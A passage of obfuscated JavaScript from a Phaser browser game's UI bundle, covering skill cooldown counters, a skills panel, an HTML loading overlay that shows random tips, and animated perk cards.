'align': 'right-top', 'padding': { 'right': 0x5 } }))['add'](this['containerImage']))['add'](this['scene']['rexUI']['add']['sizer']({ 'width': this['keybindBgImage']['width'], 'height': this['keybindBgImage']['height'] })['addBackground'](this['keybindBgImage'])['add'](this['keyBindLabel'], { 'align': 'center', 'padding': { 'top': 0x0, 'left': 0x5, 'right': 0x5, 'bottom': 0x2 } }), { 'padding': { 'top': -0xa } }), this['updateValue']({ 'counterName': '', 'value': { 'current': -0x1, 'max': -0x1 } }), this['element']['layout'](); } ['maybeSetValueCooldownType'](_0x2d5bba) { this['valueLabel']['getElement']('text')['text'], _0x2d5bba['value']['current'], _0x2d5bba['value']['max'], (this['updateValue'](_0x2d5bba), this['element']['layout']()); } ['maybeSetValueCounterType'](_0x5efb77) { parseInt(this['valueLabel']['getElement']('text')['text']) !== _0x5efb77['value']['current'] && (this['updateValue'](_0x5efb77), this['element']['layout']()); } ['updateValue'](_0x3edb32) { this['config']['renderCooldown'] ? this['updateValueWithCooldown'](_0x3edb32) : this['updateValueWithNumbers'](_0x3edb32); } ['updateValueWithCooldown'](_0x31ced8) { const _0x56c334 = _0x31ced8['value']['current'], _0x5f0bed = _0x31ced8['value']['max'], _0x43999f = this['isAvailableForUse'](_0x31ced8), _0x3eeb57 = this['iconInactiveImage']['visible'] && _0x43999f; this['cooldownFillImage']['visible'] = _0x56c334 !== _0x5f0bed && this['element']['visible'], this['renderCooldownValueUpdate'](_0x56c334, _0x5f0bed); const _0x2665af = _0x56c334 === _0x5f0bed ? '+' : '-'; this['valueLabel']['resetDisplayContent']({ 'text': '' + (this['config']['renderValue'] ? _0x2665af : '') }), _0x43999f ? (this['iconInactiveImage']['visible'] = !0x1, this['valueLabel']['getElement']('text')['setTint'](_0x2697b4)) : (this['iconInactiveImage']['visible'] = this['element']['visible'], this['valueLabel']['getElement']('text')['setTint'](_0xf21fe1)), _0x3eeb57 && this['flashCounter'](); } ['updateValueWithNumbers'](_0x156768) { this['cooldownFillImage']['visible'] = !0x1; const _0x3feea7 = _0x156768['value']['current'], _0x3c7494 = _0x156768['value']['max'], _0x82a37c = this['isAvailableForUse'](_0x156768), _0x3f3cd7 = this['iconInactiveImage']['visible'] && _0x82a37c; if (this['valueLabel']['resetDisplayContent']({ 'text': '' + (this['config']['renderValue'] ? _0x3feea7 : '') }), _0x82a37c) { this['iconInactiveImage']['visible'] = !0x1; const _0x315b24 = _0x3feea7 === _0x3c7494 ? _0x2697b4 : 0xffffff; this['valueLabel']['getElement']('text')['setTint'](_0x315b24); } else this['iconInactiveImage']['visible'] = this['element']['visible'], this['valueLabel']['getElement']('text')['setTint'](_0xf21fe1); _0x3f3cd7 && this['flashCounter'](); } ['renderCooldownValueUpdate'](_0x42db6f, _0x35ff6b) { const _0x361dc8 = _0x42db6f * (0x64 / _0x35ff6b), _0x228974 = this['containerImage']['width'], _0x2fa46f = this['containerImage']['height'], _0x1ab7a6 = _0x2fa46f * (_0x361dc8 / 0x64); this['cooldownFillImage']['setCrop'](0x0, _0x2fa46f - _0x1ab7a6, _0x228974, _0x1ab7a6); } ['createLabel'](_0x54eff6, _0x20517f) { return this['scene']['rexUI']['add']['simpleLabel']({ 'text': { '$type': 'bitmaptext', 'font': _0x54eff6, 'fontSize': _0x20517f } })['resetDisplayContent']({ 'text': '0' }); } ['flashCounter']() { this['flashEffectImage']['alpha'] = 0x1; const _0x457e6f = this['scene']['tweens']['add']({ 'targets': this['flashEffectImage'], 'alpha': 0x0, 'duration': 0x12c, 'ease': 'Quad.EaseOut', 'repeat': 0x0, 'onComplete': () => { this['scene']['tweens']['remove'](_0x457e6f); } }); } ['usesThisAmmo'](_0xac6e1d) { const _0x384ab8 = this['config']['weaponConfig']['requiresAmmo']?.['ammoName']; return _0x384ab8 === _0xac6e1d['counterName']; } ['isAvailableForUse'](_0x58e823) { const _0x1cc4ed = this['config']['weaponConfig']['requiresAmmo']?.['ammoName'], _0x2ffda9 = this['config']['weaponConfig']['requiresAmmo']?.['ammoPerAttack'], _0x297ef2 = _0x58e823['value']['current']; return _0x1cc4ed === _0x58e823['counterName'] && _0x297ef2 >= _0x2ffda9; } } _0x2440a0['SkillCounterElement'] = _0x2eb21b; }, 0x152b: (_0x28e2c9, _0x36a272, _0xa13b83) => { 'use strict'; Object['defineProperty'](_0x36a272, '__esModule', { 'value': !0x0 }), _0x36a272['SkillsPanelElement'] = void 0x0; const _0x28ea2e = _0xa13b83(0xc18), _0x10d502 = _0xa13b83(0x1724); class _0x23fcdb extends _0x10d502['UiElement']{ ['skillCounterElements'] = [];['updateSettingsSubscription'] = ({ oldValue: _0xb530de, newValue: _0x3754d2 }) => this['updateSkillKeybinds']();['updateWeaponGroupsSubscription'] = ({ oldValue: _0x3952d1, newValue: _0x5a56ed }) => this['updateWeaponGroups'](_0x3952d1, _0x5a56ed); constructor(_0x4f3294) { super(_0x4f3294), this['setup'](), this['gameMessageBus']['subscribe'](this, 'updateCounter', _0x5ef95f => this['updateCounters'](_0x5ef95f)), this['gameContext']['subscribeToGameStore']('settings', this['updateSettingsSubscription']), this['gameContext']['subscribeToGameStore']('runState', this['updateWeaponGroupsSubscription']); } ['destroy']() { this['element']['destroy'](!0x0), this['gameMessageBus']['unsubscribeByOwner'](this), this['gameContext']['unsubscribeFromGameStore']('settings', this['updateSettingsSubscription']), this['gameContext']['unsubscribeFromGameStore']('runState', this['updateWeaponGroupsSubscription']); } ['setVisible'](_0x5776f2) { this['element']['setVisible'](_0x5776f2); } ['setAlpha'](_0x2c0567) { this['element']['setAlpha'](_0x2c0567); } ['updateCounters'](_0x171b39) { this['skillCounterElements']['forEach'](_0x3039f3 => _0x3039f3['maybeSetValue'](_0x171b39)); } ['updateSkillKeybinds']() { this['skillCounterElements']['forEach'](_0x2add4f => _0x2add4f['updateKeybinds'](this['gameContext']['getFromGameStore']('settings'))), this['element']['layout'](); } ['setup']() { this['element'] = this['scene']['rexUI']['add']['sizer']({ 'anchor': { 'left': '0%+15', 'bottom': '100%+30' }, 'space': { 'item': 0x6 }, 'width': 0x1f4, 'height': 0x12c }), this['element']['layout'](); } ['updateWeaponGroups'](_0x4c0094, _0x1e327d) { const _0x438281 = _0x4c0094['playerState']['weaponGroups'], _0x5b585b = _0x1e327d['playerState']['weaponGroups']; if (!(_0x438281['length'] !== _0x5b585b['length'] || _0x438281['some']((_0x59ce5c, _0x578a8c) => _0x59ce5c !== _0x5b585b[_0x578a8c]))) return; this['skillCounterElements']['forEach'](_0xe3d0e1 => _0xe3d0e1['destroy']()), this['skillCounterElements'] = []; const _0x17f93a = []; _0x5b585b['forEach'](_0x400faf => { const _0x4c4bd1 = this['gameContext']['getWeaponGroupConfig'](_0x400faf['groupName']); if (_0x4c4bd1['doNotShowInUi']) return; const _0x360da5 = this['gameContext']['getWeaponConfig'](_0x4c4bd1['weapons'][0x0]); _0x17f93a['push']({ 'weaponConfig': _0x360da5, 'renderCooldown': _0x4c4bd1['renderUiCooldown'], 'iconPath': _0x4c4bd1['iconPath'] ?? 'ui_hud/skill_unknown', 'iconInactivePath': _0x4c4bd1['iconInactivePath'] ?? 'ui_hud/skill_unknown_inactive', 'iconFramePath': _0x4c4bd1['iconFramePath'] ?? 'ui_hud/abilityContainer', 'keybindText': _0x4c4bd1['keybindText'] ?? '{' + _0x400faf['key'] + '}' }); }), _0x17f93a['forEach'](_0x341e38 => { const _0x4e8a08 = new _0x28ea2e['SkillCounterElement']({ ...this['config'], ..._0x341e38 }); this['element']['add'](_0x4e8a08['get']())['layout'](), this['skillCounterElements']['push'](_0x4e8a08); }), this['updateSkillKeybinds'](); } } _0x36a272['SkillsPanelElement'] = _0x23fcdb; }, 0x7d3: (_0x4ffc34, _0x1c0a1e) => { 'use strict'; Object['defineProperty'](_0x1c0a1e, '__esModule', { 'value': !0x0 }), _0x1c0a1e['HtmlLoadingRenderSystem'] = void 0x0, _0x1c0a1e['HtmlLoadingRenderSystem'] = class { ['loadingElement'] = null;['loadingImageElement'] = null;['config'];['dotsInterval'] = null;['dots'] = '';['tips'] = []; constructor(_0x1fa9ec = {}) { this['config'] = { 'showLoadingImage': _0x1fa9ec['showLoadingImage'] ?? !0x1, 'imagePath': _0x1fa9ec['imagePath'] ?? '/asset/web/images/ella-apng.png', 'defaultText': _0x1fa9ec['defaultText'] ?? 'LOADING', 'elementId': _0x1fa9ec['elementId'] ?? 'loading_text', 'dotsInterval': _0x1fa9ec['dotsInterval'] ?? 0x1f4, 'tipsPath': _0x1fa9ec['tipsPath'] ?? '/asset/config/tips/loading.json' }, this['loadTips'](), this['cleanupExistingElements'](), this['createImageElement'](); } async['loadTips']() { try { const _0x350532 = await fetch(this['config']['tipsPath']), _0x35cb7a = await _0x350532['json'](); this['tips'] = _0x35cb7a['loading']['tips']; } catch (_0x1ae051) { } } ['cleanupExistingElements']() { const _0x5bd719 = document['getElementById']('loading_overlay'); _0x5bd719 && _0x5bd719['remove'](); const _0x15bf5c = document['getElementById'](this['config']['elementId']); _0x15bf5c && _0x15bf5c['remove'](), this['loadingElement'] = null, this['loadingImageElement'] = null; } ['createImageElement']() { const _0x22d911 = document['createElement']('div'); _0x22d911['id'] = 'loading_overlay', _0x22d911['style']['cssText'] = '\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20position:\x20fixed;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20inset:\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-color:\x20rgb(18,\x2018,\x2018);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-image:\x20linear-gradient(rgba(18,\x2018,\x2018,\x200.7),\x20rgba(18,\x2018,\x2018,\x200.7)),\x20url(\x27/asset/web/images/runes.png\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-size:\x20cover;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-position:\x20center;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20display:\x20flex;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20align-items:\x20center;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20justify-content:\x20center;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20overflow-y:\x20auto;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20min-height:\x20100%;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20-webkit-user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20-moz-user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20-ms-user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20'; const _0x29d687 = document['createElement']('div'); _0x29d687['id'] = 'loading_container', _0x29d687['style']['cssText'] = '\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20padding:\x2032px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20max-width:\x201250px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20width:\x20100%;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20min-height:\x20100vh;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20display:\x20flex;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20flex-direction:\x20column;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20align-items:\x20center;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20justify-content:\x20center;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20gap:\x2032px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20-webkit-user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20-moz-user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20-ms-user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20'; const _0xb6b613 = document['createElement']('div'); _0xb6b613['style']['cssText'] = '\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20display:\x20flex;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20flex-direction:\x20column;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20align-items:\x20center;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20justify-content:\x20center;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20gap:\x2032px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\x20auto\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20'; const _0x4633a3 = document['createElement']('img'); _0x4633a3['src'] = this['config']['imagePath'], _0x4633a3['id'] = 'loading_image', _0x4633a3['style']['cssText'] = '\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20display:\x20block;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20height:\x2050vh;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20width:\x20auto;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20object-fit:\x20contain;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20max-width:\x20100%;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20-webkit-user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20-moz-user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20-ms-user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20pointer-events:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20'; const _0x5dbdb8 = document['createElement']('div'); _0x5dbdb8['style']['cssText'] = '\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20display:\x20flex;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20align-items:\x20center;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20justify-content:\x20center;\x0a\x20\x20\x20\x20\x20\x20\x20\x20'; const _0x51be52 = document['createElement']('span'); _0x51be52['id'] = this['config']['elementId'], _0x51be52['style']['cssText'] = '\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-size:\x2048px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20white;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text-align:\x20center;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20Satoshi,\x20sans-serif\x20!important;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text-transform:\x20uppercase;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-weight:\x20600;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20-webkit-user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20-moz-user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20-ms-user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20'; const _0x5bc8aa = document['createElement']('span'); _0x5bc8aa['id'] = this['config']['elementId'] + '_dots', _0x5bc8aa['style']['cssText'] = '\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20display:\x20inline-block;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20width:\x2024px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text-align:\x20left;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-size:\x2048px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20white;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20Satoshi,\x20sans-serif\x20!important;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text-transform:\x20uppercase;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-weight:\x20600;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20-webkit-user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20-moz-user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20-ms-user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20'; const _0x3f74ce = document['createElement']('div'); if (_0x3f74ce['id'] = 'loading_tip', _0x3f74ce['style']['cssText'] = '\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-size:\x2024px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20rgba(255,\x20255,\x20255,\x200.7);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text-align:\x20center;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20Satoshi,\x20sans-serif\x20!important;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20max-width:\x20800px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20padding:\x2032px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text-shadow:\x200\x200.5px\x201px\x20rgba(0,\x200,\x200,\x200.8),\x200\x201px\x203px\x20rgba(0,\x200,\x200,\x200.4);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20-webkit-user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20-moz-user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20-ms-user-select:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20', this['tips']['length'] > 0x0) { const _0x41fd79 = this['tips'][Math['floor'](Math['random']() * this['tips']['length'])]; _0x3f74ce['textContent'] = _0x41fd79['text']; } _0x5dbdb8['appendChild'](_0x51be52), _0x5dbdb8['appendChild'](_0x5bc8aa), _0xb6b613['appendChild'](_0x4633a3), _0xb6b613['appendChild'](_0x5dbdb8), _0x29d687['appendChild'](_0xb6b613), _0x29d687['appendChild'](_0x3f74ce), _0x22d911['appendChild'](_0x29d687), document['body']['appendChild'](_0x22d911), this['loadingImageElement'] = _0x4633a3, this['loadingElement'] = _0x51be52; } ['updateDots']() { if (!this['loadingElement']) return; this['dots'] = this['dots']['length'] >= 0x3 ? '' : this['dots'] + '.'; const _0x59b800 = document['getElementById'](this['config']['elementId'] + '_dots'); _0x59b800 && (_0x59b800['textContent'] = this['dots']); } ['startDotsAnimation']() { this['dots'] = '', this['dotsInterval'] && window['clearInterval'](this['dotsInterval']), this['dotsInterval'] = window['setInterval'](() => this['updateDots'](), this['config']['dotsInterval']); } ['stopDotsAnimation']() { this['dotsInterval'] && (window['clearInterval'](this['dotsInterval']), this['dotsInterval'] = null), this['dots'] = ''; } ['showLoading'](_0x44997a) { document['getElementById']('loading_overlay') || this['createImageElement'](); const _0x3aff06 = document['getElementById'](this['config']['elementId']); if (!_0x3aff06) return this['createImageElement'](), this['showLoading'](_0x44997a); this['loadingImageElement'] && (this['loadingImageElement']['style']['display'] = 'block'), _0x3aff06['textContent'] = _0x44997a || this['config']['defaultText'], _0x3aff06['style']['display'] = 'block', this['loadingElement'] = _0x3aff06, this['startDotsAnimation'](); } ['hideLoading']() { this['stopDotsAnimation'](), this['cleanupExistingElements'](); } ['destroy']() { this['hideLoading'](); } }; }, 0x1486: (_0x223c01, _0x188ddf) => { 'use strict'; Object['defineProperty'](_0x188ddf, '__esModule', { 'value': !0x0 }), _0x188ddf['NoLoadingRenderSystem'] = void 0x0, _0x188ddf['NoLoadingRenderSystem'] = class { constructor() { } ['showLoading'](_0x1ee6a6) { } ['hideLoading']() { } }; }, 0x12be: (_0x297b8e, _0x5f162c, _0x9fe901) => { 'use strict'; Object['defineProperty'](_0x5f162c, '__esModule', { 'value': !0x0 }), _0x5f162c['PerkCardElement'] = _0x5f162c['PERK_SECONDARY_TEXT_COLOR'] = _0x5f162c['PERK_TEXT_COLOR'] = _0x5f162c['PERK_DESCRIPTION_FONT'] = _0x5f162c['PERK_TITLE_FONT'] = void 0x0; const _0x2a8ecf = _0x9fe901(0x499), _0x4de800 = _0x9fe901(0x1724), _0x1ac243 = _0x9fe901(0x138a), _0x3b0783 = 0x20; _0x5f162c['PERK_TITLE_FONT'] = 'Satoshi-Bold', _0x5f162c['PERK_DESCRIPTION_FONT'] = 'Satoshi-Medium', _0x5f162c['PERK_TEXT_COLOR'] = 0xffffff, _0x5f162c['PERK_SECONDARY_TEXT_COLOR'] = 0xffdd00; const _0x4b42c0 = 'ui_perks/perk_card_border', _0x4ca979 = 'ui_perks/perk_card_fill', _0x1dc077 = 'ui_perks/perk_icon_mask'; class _0x563d97 extends _0x4de800['UiElement']{ ['backgroundImage'];['borderImage'];['iconImage'];['mainTitle'];['secondaryTitle'];['description'];['iconGradient'];['iconMaskImage'];['iconMask'];['iconMatrix'];['backgroundMatrix'];['godrayImages'] = [];['godrayContainer'];['statElements'] = []; constructor(_0x10d9b0) { super(_0x10d9b0), this['createElement'](), this['setupInteractivity'](); } ['destroy']() { this['backgroundImage']?.['destroy'](), this['iconImage']?.['destroy'](), this['mainTitle']?.['destroy'](), this['secondaryTitle']?.['destroy'](), this['description']?.['destroy'](), this['element']?.['destroy'](), this['borderImage']?.['destroy'](), this['iconGradient']?.['destroy'](), this['iconMaskImage']?.['destroy'](), this['iconMask']?.['destroy'](), this['statElements']['forEach'](_0x2e4244 => _0x2e4244['destroy']()), this['godrayImages']['forEach'](_0x58ab1d => _0x58ab1d['destroy']()), this['godrayContainer']?.['destroy'](); } ['update'](_0x311b8d) { const _0x342074 = this['element']['getBounds'](); this['godrayContainer']['x'] = _0x342074['x'] + this['element']['width'] / 0x2, this['godrayContainer']['y'] = _0x342074['y'] + this['element']['height'] / 0x2, this['godrayImages']['forEach']((_0x292088, _0x1296dc) => { const _0x5c4b80 = _0x1296dc % 0x2 == 0x0; _0x292088['angle'] += _0x311b8d * (_0x5c4b80 ? 0x1 : -0x1) * (_0x1296dc + 0x1) * 0x5; }); } async['reveal']() { return this['element']['setVisible'](!0x0), (this['element']['scaleX'] = 0x2, this['element']['scaleY'] = 0x2, this['element']['alpha'] = -0x1, new Promise(_0x2a8f46 => { const _0x53b826 = this['scene']['tweens']['add']({ 'targets': this['element'], 'scaleX': 0x1, 'scaleY': 0x1, 'alpha': 0x1, 'duration': 0x190, 'ease': 'Quart.In', 'onUpdate': _0x1b7764 => { const _0x93c8a5 = 0xa - (_0x1b7764['getValue']() - 0x2) / -0x1 * 0xa; this['iconMatrix']['contrast'](_0x93c8a5), this['backgroundMatrix']['contrast'](_0x93c8a5); const _0x10f734 = this['backgroundImage']['width'], _0x4fd1b6 = 0x1 - 0x40 / _0x10f734; this['mainTitle']['setMaxWidth'](_0x10f734 * _0x4fd1b6 * _0x1b7764['getValue']()), this['description']['setMaxWidth'](_0x10f734 * _0x4fd1b6 * _0x1b7764['getValue']()); }, 'onComplete': () => { this['scene']['tweens']['remove'](_0x53b826), this['gameMessageBus']['publish']('requestScreenShake', { 'config': { 'magnitudeX': 0.005, 'magnitudeY': 0.005, 'durationMS': 0x4b, 'camera': this['scene']['cameras']['main'] } }), this['gameMessageBus']['publish']('requestFlash', { 'config': { 'alpha': 0.5, 'durationMS': 0x96, 'color': '0xffffff', 'camera': this['scene']['cameras']['main'] } }), this['element']['layout'](), _0x2a8f46(); } }); })); } ['fadeOut']() { const _0x1cbb00 = this['scene']['tweens']['add']({ 'targets': [this['godrayContainer'], this['element']], 'alpha': 0x0, 'duration': 0x190, 'ease': 'Quart.Out', 'onComplete': () => { this['scene']['tweens']['remove'](_0x1cbb00); } }); } ['createElement']() { this['createBackground'](); const _0x13b60f = this['backgroundImage']['width'], _0x4cd138 = this['backgroundImage']['height'], _0x269183 = _0x13b60f - 0x40; this['createIcon'](), this['createBorder'](), this['maybeCreateSecondaryTitle'](_0x269183), this['createMainTitle'](this['secondaryTitle'] ? _0x269183 - this['secondaryTitle']['width'] : _0x269183), this['createDescription'](_0x269183), this['createStatElements'](_0x269183); const _0x158d87 = this['scene']['rexUI']['add']['sizer']({ 'width': _0x13b60f, 'orientation': 'vertical', 'space': { 'item': 0x4 } })['addMultiple'](this['statElements'])['layout'](), _0x59ccc2 = this['scene']['rexUI']['add']['sizer']({ 'width': _0x13b60f, 'height': _0x4cd138, 'orientation': 'vertical', 'space': { 'item': 0x1e } })['add'](this['scene']['rexUI']['add']['overlapSizer']()['add'](this['iconMaskImage'], { 'expand': !0x1 })['add'](this['iconImage'], { 'expand': !0x1 }))['add'](this['mainTitle'], { 'align': 'left', 'padding': { 'left': _0x3b0783, 'top': -0x40, 'right': _0x3b0783 }, 'expand': !0x1 }); this['secondaryTitle'] && _0x59ccc2['add'](this['secondaryTitle'], { 'align': 'left', 'padding': { 'left': _0x3b0783, 'top': -0x20, 'right': _0x3b0783 } }), _0x59ccc2['add'](this['description'], { 'align': 'left-top', 'padding': { 'left': _0x3b0783, 'top': -0x10 }, 'proportion': 0x1 })['add'](_0x158d87, { 'padding': { 'bottom': _0x3b0783 } })['layout'](), this['element'] = this['scene']['rexUI']['add']['overlapSizer']({ 'x': 0x0, 'y': 0x0, 'width': _0x13b60f, 'height': _0x4cd138 })['add'](this['backgroundImage'], { 'expand': !0x1 })['add'](_0x59ccc2, { 'expand': !0x1 })['add'](this['borderImage'])['layout']()['setVisible'](!0x1), this['createGodrayImages'](); } ['createMainTitle'](_0x205cd8) { this['mainTitle'] = this['scene']['add']['bitmapText'](0x0, 0x0, _0x5f162c['PERK_TITLE_FONT'], this['config']['perk']['name'], 0x20), this['mainTitle']['setTint'](_0x5f162c['PERK_TEXT_COLOR']), this['mainTitle']['setMaxWidth'](_0x205cd8); } ['maybeCreateSecondaryTitle'](_0x1e5ad0) { this['config']['perk']['additionalName'] && (this['secondaryTitle'] = this['scene']['add']['bitmapText'](0x0, 0x0, _0x5f162c['PERK_DESCRIPTION_FONT'], this['config']['perk']['additionalName'], 0x18), this['secondaryTitle']['setTint'](_0x5f162c['PERK_SECONDARY_TEXT_COLOR']), this['secondaryTitle']['setMaxWidth'](_0x1e5ad0)); } ['createDescription'](_0x277405) { this['description'] = this['scene']['add']['bitmapText'](0x0, 0x0, _0x5f162c['PERK_DESCRIPTION_FONT'], this['config']['perk']['description'], 0x18), this['description']['setTint'](_0x5f162c['PERK_TEXT_COLOR']), this['description']['setMaxWidth'](_0x277405); } ['createIcon']() { this['iconImage'] = this['scene']['add']['image'](0x0, 0x0, (0x0, _0x1ac243['getTexture'])(this['gameContext'], this['config']['perk']['iconPath']), (0x0, _0x1ac243['getFrame'])(this['gameContext'], this['config']['perk']['iconPath'])), this['iconMaskImage'] = this['scene']['add']['image'](0x0, 0x0, (0x0, _0x1ac243['getTexture'])(this['gameContext'], _0x1dc077), (0x0, _0x1ac243['getFrame'])(this['gameContext'], _0x1dc077)), this['iconMaskImage']['visible'] = !0x1, this['iconMask'] = this['iconMaskImage']['createBitmapMask'](), this['iconMatrix'] = this['iconImage']['postFX']['addColorMatrix'](), this['iconImage']['setMask'](this['iconMask']); } ['createBackground']() { this['backgroundImage'] = this['scene']['add']['image'](0x0, 0x0, (0x0, _0x1ac243['getTexture'])(this['gameContext'], _0x4ca979), (0x0, _0x1ac243['getFrame'])(this['gameContext'], _0x4ca979)), this['backgroundImage']['setTint'](parseInt(this['config']['perk']['tint'], 0x10)), this['backgroundMatrix'] = this['backgroundImage']['postFX']['addColorMatrix'](); } ['createBorder']() { this['borderImage'] = this['scene']['add']['image'](0x0, 0x0, (0x0, _0x1ac243['getTexture'])(this['gameContext'], _0x4b42c0), (0x0, _0x1ac243['getFrame'])(this['gameContext'], _0x4b42c0)); } ['createGodrayImages']() { this['godrayContainer'] = this['scene']['add']['container'](0x0, 0x0); const _0x4a73a0 = this['backgroundImage']['height'] / this['backgroundImage']['width']; this['godrayContainer']['setScale'](1.8, 1.8 * _0x4a73a0), this['godrayContainer']['setAlpha'](0x0); for (let _0x3b8389 = 0x0; _0x3b8389 < 0x3; _0x3b8389++) { const _0x322542 = this['scene']['add']['image'](0x0, 0x0, 'image/godray'); this['godrayContainer']['add'](_0x322542), _0x322542['setBlendMode'](Phaser['BlendModes']['ADD']), _0x322542['setTint'](this['brightenTint'](parseInt(this['config']['perk']['tint'], 0x10))), _0x322542['setOrigin'](0.5, 0.5), 